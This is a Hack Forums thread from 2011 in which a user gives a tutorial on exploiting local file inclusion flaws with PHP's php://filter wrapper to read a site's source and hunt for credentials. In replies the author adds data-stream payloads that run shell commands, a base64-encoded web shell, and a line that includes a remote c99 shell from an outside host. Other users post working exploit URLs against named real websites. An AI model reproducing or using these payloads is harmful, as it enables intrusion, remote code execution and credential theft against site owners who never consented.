

Forum:[Hack Forums](#)

Thread: [\[TuT\] LFI TIP: HOW TO READ SOURCE CODE USING PHP://FILTER \[TuT\]](#)

Hooded Robin - December 8, 2011, 10:39 am

OK so you wont be able to [shell a site](#) everytime you find a [LFI vulnerability](#). That being said doesn't mean we still cant work on a few other methods and still manage to walk away with some valuable information. Today I will show you briefly another method which can be leveraged when you find an LFI vulnerability to get that job done through the use of [php:// filters](#)...

OK so you have found your LFI link but cant get access to logs or conditions aren't right for gaining shell access:

[img]http://img46.imageshack.us/img46/8232/41677438.png[/img]

OK, well before you give up and go report the site is only mildly vulnerable we will test further to see if we can read any of the target servers files. We will use a method to view the source of any PHP file through the use of the PHP filter wrapper function

"php://filter/convert.base64_encode/resource=" which has been available since PHP 5.0.0. The syntax to use works like this:

SYNTAX:

[http://www.site.com/vulnpage.php?page=php://filter/convert.base64_encode/resource=FileNameToRead](#)

I should note that in most cases include function will append the ".php" to your FileNameToRead BUT in some cases you may need to define this in your injection by also including the file ending (.php). Through this method it forces PHP to base64 encode the target file before executing and then returning that encoding to us. We can then simply decode the results after this with our favorite tool and obtain the source code of the PHP files on the target site.

[img]http://img267.imageshack.us/img267/827/19801337.png[/img]

RETURNED RESULT ?

Code

```
PCFET0NUWVBFIEhUTUwgUFVCTEIDICltLy9XM0MvL0RURCBIVE1MIDQuMC8vRU4iPgo8aHRt
bD4KPGhIYWQ+CiAgPHRpdGxIPk15IEZpcnN0IFRlc3QgU2l0ZTwvdGI0bGU+CiAgPE1FVEEgSFR
UUC1FUVVJVj0iUmVmcmVzaCIgQ09OVEVOVD0iMTsgVVJMPWh0dHA6Ly90ZXN0c2l0ZS5jb20v
aW5kZXgucGhwIj4KPC9oZWFKPgo8Ym9keT4KPGRpdjBhbGlnbj0iY2VudGVyIj4KICAgIElmiHlvdS
BhcmUgbm90IHJIZGlyZWN0ZWQgcGxIYXNlIGNsaWNrIDxhIGhyZWY9liBodHRwOi8vdGVzdHNPd
GUuY29tL2luZGV4LnBocCAiPmhlcU8L2E+Lgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+
[img]http://img641.imageshack.us/img641/2969/45529129.png[/img]
```

If we base64 decode the results, we see the actual source code ?

Code <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<html>

<head>

<title>My First Test Site</title>

<META HTTP-EQUIV="Refresh" CONTENT="1; URL=http://testsite.com/index.php">

</head>

<body>

<div align="center">

If you are not redirected please click here.

</div>

</body>

</html>

You can now go through source code to review for further code exploits, SQL injections, or enumerate for configuration files and try to grab juicy connection credentials. The options are up to you, but thought I would add this to the LFI series since I have not seen it discussed very much. Hope you were able to follow along and until next time...Enjoy!

Shouts to Zer0Lulz Crew!

HaxOr? - December 8, 2011, 10:48 am
Nice one...Bookmarked it an i will try this for sure :)

Thanks!

-DownFall - December 8, 2011, 10:50 am
Thanks for the tip, hopefully it'll come in handy getting around the 406 errors I've been getting to. I'll try it out on some of the sites I posted.

Hooded Robin - December 8, 2011, 10:54 am
You can also try using data: streams to inject code if your normal code doesnt work due to magic quotes or what have you, would work like so:
Code data:;base64,PD8gZXhlYygzX0dFVFtjbWRdKTsgPz4=&cmd=whoami
which passes this through:
Code <? exec(\$_GET[cmd]); ?>&cmd=whoami
or maybe you like a GUI based shell ;)
Code
data:;base64,PGZvcn0gYWN0aW9uPSI8Pz0kX1NFUIZFUIsnUkVRVUVTVF9VUkknXT8+liBtZXRo b2Q9IIBPU1QiPjxpbmB1dCB0eXBIPSJ0ZXh0liBuYW1IPSJ4liB2YWx1ZT0iPD89aHRtbGVudGI0aW VzKCRfUE9TVFsneCddKT8+lj48aW5wdXQgdHlwZT0ic3VibWI0liB2YWx1ZT0iY21klj48L2Zvcn0+P HByZT48PyAKZWNoByBgeyRfUE9TVFsneCddfWA7ID8+PC9wcmU+PD8gZGllKCK7ID8+Cgo=
if allow_url_include is set to on then you can use LFI to include a remote shell like so (rarely come across this, but worth mentioning):
Code php://filter/resource=http://www.sh3ll.org/c99.txt?

NUFC - December 8, 2011, 10:59 am
Very nice!! bookmarked just in case I need to use this.

Razor4x 5_0 - December 8, 2011, 11:22 am
good tip but don't work on this:
<http://www.cranberries-gifts.co.uk/category.php?inc=../../../../../../../../../../../../proc/self/environ>

<http://www.cranberries-gifts.co.uk/category.php?inc=php://filter/convert.base64-encode/resource=category.php>

Hooded Robin - December 8, 2011, 11:38 am
It doesn't work on all sites as called out in the beginning, but it is yet one more shot you can try

before giving up. That is the real point...

rand0 - December 12, 2011, 1:03 am

Sweet tut, man. Mad respect. I have been looking for new LFI exploits. I know the /proc/self/environ method, and I know there are a few other methods, but I've never heard of this, so I was really pleased to read your exploit. Thanks so much for the share

-zerocool - December 12, 2011, 1:10 am

Good info.I will try this!

Bookmarked <3.

Thanks!

HaxOr? - December 13, 2011, 10:14 am

Here is an working one for an example...

<http://www.death-star.net/index.php?Page=php://filter/convert.base64-encode/resource=index.php>

Just to keep this alive ;)